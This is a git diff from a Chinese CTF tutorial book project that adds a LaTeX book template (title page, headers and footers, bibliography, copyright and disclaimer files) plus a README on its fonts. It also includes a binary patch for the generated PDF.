2017-12-25:开始写 Crypto 部分 2017-12-22:250 star 成就达成 2017-12-15:中文名“CTF从入门到放弃” diff --git a/CONTRIBUTION.md b/CONTRIBUTION.md index ee69ee4..b4bdc9b 100644 --- a/CONTRIBUTION.md +++ b/CONTRIBUTION.md @@ -76,5 +76,6 @@ | 章节 | 作者 | 进度 | | --------------- | --------- | ---- | | 2.6_idapro.md | Sky3 | 未完成 | +| 开始使用Latex | Sky3 | 未完成 | | 2.12_burpsuite.md | phantom0301 | 未完成 | | 1.4.*.md | phantom0301 | 未完成 | diff --git a/tex/README.md b/tex/README.md new file mode 100644 index 0000000..cffb241 --- /dev/null +++ b/tex/README.md @@ -0,0 +1,18 @@ +# 一些使用Latex事项 + +* 使用开源Latex模板https://github.com/GGolbik/GGLaTeXBookTemplate,该模板为GPL 3.0 协议。具体使用,以该仓库的README为准。 +* 目前还在测试中,需各位仍以markdown写作为主。 +* 仅在Share Latex上测试,已经成功生成PDF文件于build目录(看上去还不错,细节有待打磨) + +## 其他 + +### 字体 + +为了减小仓库体积,fonts文件夹下字体全为空文件,可以从以下地址下载并编译使用: + +- NotoSansCJKsc + - Source: [Google Noto Fonts](https://www.google.com/get/noto/#sans-hans) + - License: [SIL Open Font License, Version 1.1](https://github.com/GGerry/GGLaTeXBookTemplate/blob/master/fonts/NotoSansCJKjp/LICENSE_OFL.txt) +- Roboto + - Source: [Google Fonts](https://fonts.google.com/specimen/Roboto?selection.family=Roboto) + - License: [Apache License 2.0](https://github.com/GGerry/GGLaTeXBookTemplate/blob/master/fonts/Roboto/LICENSE.txt) \ No newline at end of file diff --git a/tex/base/abbreviations/abbreviations.tex b/tex/base/abbreviations/abbreviations.tex new file mode 100644 index 0000000..ea42f02 --- /dev/null +++ b/tex/base/abbreviations/abbreviations.tex @@ -0,0 +1,54 @@ +% add table of contents entry +\addstarredchapter{\DICTAbbreviations} + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTAbbreviations}{\DICTAbbreviations} + +\chapter*{\DICTAbbreviations} + +% You can enter a short name between the abbreviation and the long form (for example, for I²C). This is necessary for mathematical characters, for example, since only normal characters may be used in the abbreviation. The corresponding call looks like usual: \ac{I2C}, the abbreviation I²C appears in the generated document. +% After \begin{acronym} an expression can be specified in square brackets. After the length of this expression, the indentation of the abbreviations is set. In this case, it is recommended to use the longest abbreviation in order to obtain a uniform indentation for all abbreviations. + +\begin{acronym}[Bash] + \acro{KDE}{K Desktop Environment} + \acro{SQL}{Structured Query Language} + \acro{Bash}{Bourne-again shell} +\end{acronym} + +% Use in the text +% Here are only the most important examples: + +% Outputs the long form with the abbreviation in parentheses for the first use, from then on always the short form. +%-------------------------------------- +% \ac{KDE} % K Desktop Environment (KDE) +%-------------------------------------- + +% Returns the abbreviation. +%-------------------------------------- +% \acs{KDE} % KDE +%-------------------------------------- + +% Outputs the long and short form. +%-------------------------------------- +% \acf{KDE} % K Desktop Environment (KDE) +%-------------------------------------- + +% Only outputs the long form without the short form. +%-------------------------------------- +% \acl{KDE} % K Desktop Environment +%-------------------------------------- + +% Similar to the above commands, the plural can also be displayed accordingly: +%-------------------------------------- +% \acp{KDE} % K Desktop Environments (KDEs) +% \acsp{KDE} % KDEs +% \acfp{KDE} % K Desktop Environments (KDEs) +% \aclp{KDE} % K Desktop Environments +%-------------------------------------- + + +% If the plural does not end at -s, you can set it with the following command: +%-------------------------------------- +% \acrodefplural{VM}[VMs]{Virtuelle Maschinen} +%-------------------------------------- + diff --git a/tex/init b/tex/base/appendix/ZH.tex similarity index 100% rename from tex/init rename to tex/base/appendix/ZH.tex diff --git a/tex/base/appendix/appendix.tex b/tex/base/appendix/appendix.tex new file mode 100644 index 0000000..f5bdedb --- /dev/null +++ b/tex/base/appendix/appendix.tex @@ -0,0 +1,33 @@ +\RedeclareSectionCommand[tocnumwidth=6em]{section} +\RedeclareSectionCommand[tocnumwidth=6.5em]{subsection} + +\RedeclareSectionCommand[tocindent=0em]{section} +\RedeclareSectionCommand[tocindent=2em]{subsection} + +\addtocontents{toc}{\protect\setcounter{tocdepth}{0}} + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTAppendix}{\DICTAppendix} + +\chapter*{\DICTAppendix} + +\nomtcrule +\mtcsettitle{minitoc}{\DICTTableOfAppendix} +\setcounter{section}{0} + +\addstarredchapter{\DICTAppendix} + +\ifthenelse{\equal{\CONFIGEnableTableOfAppendix}{true}} +{ + \minitoc % minitoc-Ausgeben + \newpage +}{} + +\renewcommand{\thesection}{\DICTAppendix~\Alph{section}} + +% include appendix content +%-------------------------------------- +\input{base/appendix/appendixcontent} +%-------------------------------------- + +\addtocontents{toc}{\protect\setcounter{tocdepth}{3}} \ No newline at end of file diff --git a/tex/base/appendix/appendixcontent.tex b/tex/base/appendix/appendixcontent.tex new file mode 100644 index 0000000..5b09885 --- /dev/null +++ b/tex/base/appendix/appendixcontent.tex @@ -0,0 +1,7 @@ +% \section{Packed Objects Encoding tables} + +% \subsection{Packed Objects Encoding tables} + +% \section{Encoding Packed Objects} + +% \section{Decoding Packed Objects} diff --git a/tex/base/bibliography/bibliography.tex b/tex/base/bibliography/bibliography.tex new file mode 100644 index 0000000..06669d0 --- /dev/null +++ b/tex/base/bibliography/bibliography.tex @@ -0,0 +1,18 @@ +% Use the below command to add references +% \cite{name of reference} + +% Required for table of contents +\addstarredchapter{\DICTReferences} + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTReferences}{\DICTReferences} + +% to avoid the warning: Overfull \hbox +\emergencystretch=1em + +% show all entries even the once which are not used +%\nocite{*} + +\printbibliography[title={\DICTReferences} +%,heading=bibnumbered +] \ No newline at end of file diff --git a/tex/base/bibliography/references.bib b/tex/base/bibliography/references.bib new file mode 100644 index 0000000..e245610 --- /dev/null +++ b/tex/base/bibliography/references.bib @@ -0,0 +1,62 @@ +% You can find the documentation on ftp://ctan.tug.org/tex-archive/macros/latex/exptl/biblatex/doc/biblatex.pdf + +% Article +% +% An article in a journal, magazine, newspaper, or other periodical which forms a +% self-contained unit with its own title. The title of the periodical is given in the +% journaltitle field. If the issue has its own title in addition to the main title of +% the periodical, it goes in the issuetitle field. Note that editor and related +% fields refer to the journal while translator and related fields refer to the article. + +@article{exampleArticle, + % Required fields: + author = "Max Mustermann", + title = "Mustertitle - Article", + journaltitle = "Muster Journal", + date = "2017-12-13", + % Optional fields: see documentation +} + +% Book +% +% A single-volume book with one or more authors where the authors share credit for +% the work as a whole. This entry type also covers the function of the @inbook type +% of traditional BibTeX, see § 2.3.1 for details + +@book{exampleBook, + % Required fields: + author = "Max Mustermann", + title = "Mustertitle - Book", + date = "2017-12-14", + % Optional fields: see documentation +} + +% Manual +% +% Technical or other documentation, not necessarily in printed form. The author or +% editor is omissible in terms of § 2.3.2. + +@manual{exampleManual, + % Required fields: + author = "Max Mustermann", + title = "Mustertitle - Manual", + date = "2017-12-15", + % Optional fields: see documentation +} + +% Online +% +% An online resource. author, editor, and year are omissible in terms of § 2.3.2. +% This entry type is intended for sources such as web sites which are intrinsically +% online resources. Note that all entry types support the url field. For example, when +% adding an article from an online journal, it may be preferable to use the @article +% type and its url field. + +@online{exampleOnline, + % Required fields: + author = "Max Mustermann", + title = "Mustertitle - Online", + date = "2017-12-16", + url = "http://example.url", + % Optional fields: see documentation +} diff --git a/tex/base/copyright/EN.tex b/tex/base/copyright/EN.tex new file mode 100644 index 0000000..8bd6e07 --- /dev/null +++ b/tex/base/copyright/EN.tex @@ -0,0 +1,4 @@ +\begin{flushleft} + \copyright~Copyright~\the\year~\DICTDocAuthor +\end{flushleft} +This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, such as by removing the copyright notice or references to the author or other organizations. \ No newline at end of file diff --git a/tex/base/copyright/ZH.tex b/tex/base/copyright/ZH.tex new file mode 100644 index 0000000..af025c3 --- /dev/null +++ b/tex/base/copyright/ZH.tex @@ -0,0 +1,4 @@ +\begin{flushleft} + \copyright~版权~\the\year~\DICTDocAuthor +\end{flushleft} + Creative Commons license (CC BY-SA 4.0) \ No newline at end of file diff --git a/tex/base/copyright/copyright.tex b/tex/base/copyright/copyright.tex new file mode 100644 index 0000000..728c753 --- /dev/null +++ b/tex/base/copyright/copyright.tex @@ -0,0 +1,5 @@ +\IfFileExists{base/copyright/\CONFIGLanguage}{ + \input{base/copyright/\CONFIGLanguage} +}{ + Copyright: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage `` +} \ No newline at end of file diff --git a/tex/base/disclaimer/EN.tex b/tex/base/disclaimer/EN.tex new file mode 100644 index 0000000..d8a58ec --- /dev/null +++ b/tex/base/disclaimer/EN.tex @@ -0,0 +1,5 @@ +\begin{center} + {\Large DISCLAIMER} +\end{center} + +This document and the information contained herein is provided on an “As Is” basis and the author disclaims all warranties, express or implied, including but not limited to any warranty that the use of the information herein will not infringe any rights or any implied warranties of merchantability or fitness for a particular purpose. \ No newline at end of file diff --git a/tex/base/disclaimer/ZH.tex b/tex/base/disclaimer/ZH.tex new file mode 100644 index 0000000..65ff69b --- /dev/null +++ b/tex/base/disclaimer/ZH.tex @@ -0,0 +1,5 @@ +\begin{center} + {\Large 声明} +\end{center} + +本书使用 Creative Commons license (CC BY-SA 4.0),大可随意使用。欢迎来本书的Github页面提交PR. \ No newline at end of file diff --git a/tex/base/disclaimer/disclaimer.tex b/tex/base/disclaimer/disclaimer.tex new file mode 100644 index 0000000..b2048f3 --- /dev/null +++ b/tex/base/disclaimer/disclaimer.tex @@ -0,0 +1,5 @@ +\IfFileExists{base/disclaimer/\CONFIGLanguage}{ + \input{base/disclaimer/\CONFIGLanguage} +}{ + DISCLAIMER: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage `` +} \ No newline at end of file diff --git a/tex/base/headerfooter/headerfooter.tex b/tex/base/headerfooter/headerfooter.tex new file mode 100644 index 0000000..d2ef26e --- /dev/null +++ b/tex/base/headerfooter/headerfooter.tex @@ -0,0 +1,88 @@ +%\ifthenelse{\equal{\CONFIGLanguage}{twoside}} +% {\input{base/headerfooter/twoside}} +% {\input{base/headerfooter/oneside}} + +\pagestyle{fancy} + +\fancyhf{} + +% E for even page +% O for odd page +% L for left side +% C for centered +% R for right side + +% set header +%-------------------------------------- +\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}} + { + \fancyhead[L]{\includegraphics[width=5mm]{\IMGHeader}} + \fancyhead[R]{\DICTDocTitle} + \fancyhead[C]{} + } + { + \fancyhead[RE,LO]{\includegraphics[width=5mm]{\IMGHeader}} + \fancyhead[LE,RO]{\DICTDocTitle} + \fancyhead[CE,CO]{} + } + +% change header line color +\patchcmd{\headrule}{\hrule}{\color{LightGray}\hrule}{}{} +% show header line +\renewcommand{\headrulewidth}{0.4pt} % set to 0pt if line shall be removed +%-------------------------------------- + + +% set footer +%-------------------------------------- +\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}} + { + \fancyfoot[R]{Page \thepage \hspace{1pt} of \pageref{LastPage}} + \fancyfoot[L]{\DICTDocDate} + \fancyfoot[C]{} + } + { + \fancyfoot[RE,LO]{Page \thepage \hspace{1pt} of \pageref{LastPage}} + \fancyfoot[LE,RO]{\DICTDocDate} + \fancyfoot[CE,CO]{} + } + +% change footer line color +\patchcmd{\footrule}{\hrule}{\color{LightGray}\hrule}{}{} +% show footer line +\renewcommand{\footrulewidth}{0.4pt}% default is 0pt +%-------------------------------------- + +\fancypagestyle{plain}{% + \fancyhf{} + + % set header + %-------------------------------------- + \ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}} + { + \fancyhead[L]{\includegraphics[width=5mm]{\IMGHeader}} + \fancyhead[R]{\DICTDocTitle} + \fancyhead[C]{} + } + { + \fancyhead[RE,LO]{\includegraphics[width=5mm]{\IMGHeader}} + \fancyhead[LE,RO]{\DICTDocTitle} + \fancyhead[CE,CO]{} + } + %-------------------------------------- + + + % set footer + %-------------------------------------- + \ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}} + { + \fancyfoot[R]{Page \thepage \hspace{1pt} of \pageref{LastPage}} + \fancyfoot[L]{\DICTDocDate} + \fancyfoot[C]{} + } + { + \fancyfoot[RE,LO]{Page \thepage \hspace{1pt} of \pageref{LastPage}} + \fancyfoot[LE,RO]{\DICTDocDate} + \fancyfoot[CE,CO]{} + } +} \ No newline at end of file diff --git a/tex/base/index/index.tex b/tex/base/index/index.tex new file mode 100644 index 0000000..5628bb5 --- /dev/null +++ b/tex/base/index/index.tex @@ -0,0 +1,10 @@ +% use the below command to add index entries +% \index{index name} + +% add table of contents entry +\addstarredchapter{\DICTIndex} + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTIndex}{\DICTIndex} + +\printindex \ No newline at end of file diff --git a/tex/base/listoffigures/listoffigures.tex b/tex/base/listoffigures/listoffigures.tex new file mode 100644 index 0000000..fb5b533 --- /dev/null +++ b/tex/base/listoffigures/listoffigures.tex @@ -0,0 +1,11 @@ +\setcounter{tocdepth}{3} + +% add table of contents entry +\addstarredchapter{\DICTListOfFigures} + +\renewcommand{\listfigurename}{\DICTListOfFigures} +\renewcommand{\figurename}{\DICTFigureName} +\listoffigures + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTListOfFigures}{\DICTListOfFigures} \ No newline at end of file diff --git a/tex/base/listoftables/listoftables.tex b/tex/base/listoftables/listoftables.tex new file mode 100644 index 0000000..296fb31 --- /dev/null +++ b/tex/base/listoftables/listoftables.tex @@ -0,0 +1,11 @@ +\setcounter{tocdepth}{3} + +% add table of contents entry +\addstarredchapter{\DICTListOfTables} + +\renewcommand{\listtablename}{\DICTListOfTables} +\renewcommand{\tablename}{\DICTTableName} +\listoftables + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTListOfTables}{\DICTListOfTables} \ No newline at end of file diff --git a/tex/base/lstlistoflistings/lstlistoflistings.tex b/tex/base/lstlistoflistings/lstlistoflistings.tex new file mode 100644 index 0000000..af4cf77 --- /dev/null +++ b/tex/base/lstlistoflistings/lstlistoflistings.tex @@ -0,0 +1,14 @@ +\setcounter{tocdepth}{3} + +% change listings name below code +\renewcommand{\lstlistingname}{\DICTListingName} + +% add table of contents entry +\addstarredchapter{\DICTListOfCodeSnippets} + +% List of Listings -> List of Algorithms +\renewcommand{\lstlistlistingname}{\DICTListOfCodeSnippets} +\lstlistoflistings + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTListOfCodeSnippets}{\DICTListOfCodeSnippets} \ No newline at end of file diff --git a/tex/base/tableofcontents/tableofcontents.tex b/tex/base/tableofcontents/tableofcontents.tex new file mode 100644 index 0000000..05988f2 --- /dev/null +++ b/tex/base/tableofcontents/tableofcontents.tex @@ -0,0 +1,10 @@ +% add table of contents entry +\addstarredchapter{\DICTTableOfContents} + +% Rename name of table of contents +\renewcommand\contentsname{\DICTTableOfContents} + +% update mark for use of \leftmark and \rightmark +\markboth{\DICTTableOfContents}{\DICTTableOfContents} + +\tableofcontents \ No newline at end of file diff --git a/tex/base/titlepage/titlepage.tex b/tex/base/titlepage/titlepage.tex new file mode 100644 index 0000000..2f3e64e --- /dev/null +++ b/tex/base/titlepage/titlepage.tex @@ -0,0 +1,37 @@ +\pagecolor{brandcolor} +\color{white} +\begin{titlepage} + + % doc image + % \begin{figure}[ht] + % \centering + % \includegraphics{\IMGTitlePage} + % \end{figure} + + \begin{center} + {\Huge \DICTDocTitle} + \end{center} + + \vfill + + % \begin{center} + % {\Large by} + % \end{center} + + \begin{center} + {\Large \DICTDocAuthor} + \end{center} + + \begin{center} + {\Large \DICTDocEmail} + \end{center} + + \begin{center} + {\Large \DICTDocDate} + \end{center} + + \vspace{5mm} + +\end{titlepage} +\pagecolor{white} +\color{black} \ No newline at end of file diff --git a/tex/build/ctf_all_in_one.pdf b/tex/build/ctf_all_in_one.pdf new file mode 100644 index 0000000000000000000000000000000000000000..d649ffd7708114b86976f410d7547c5b22a7e286 GIT binary patch literal 63559 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 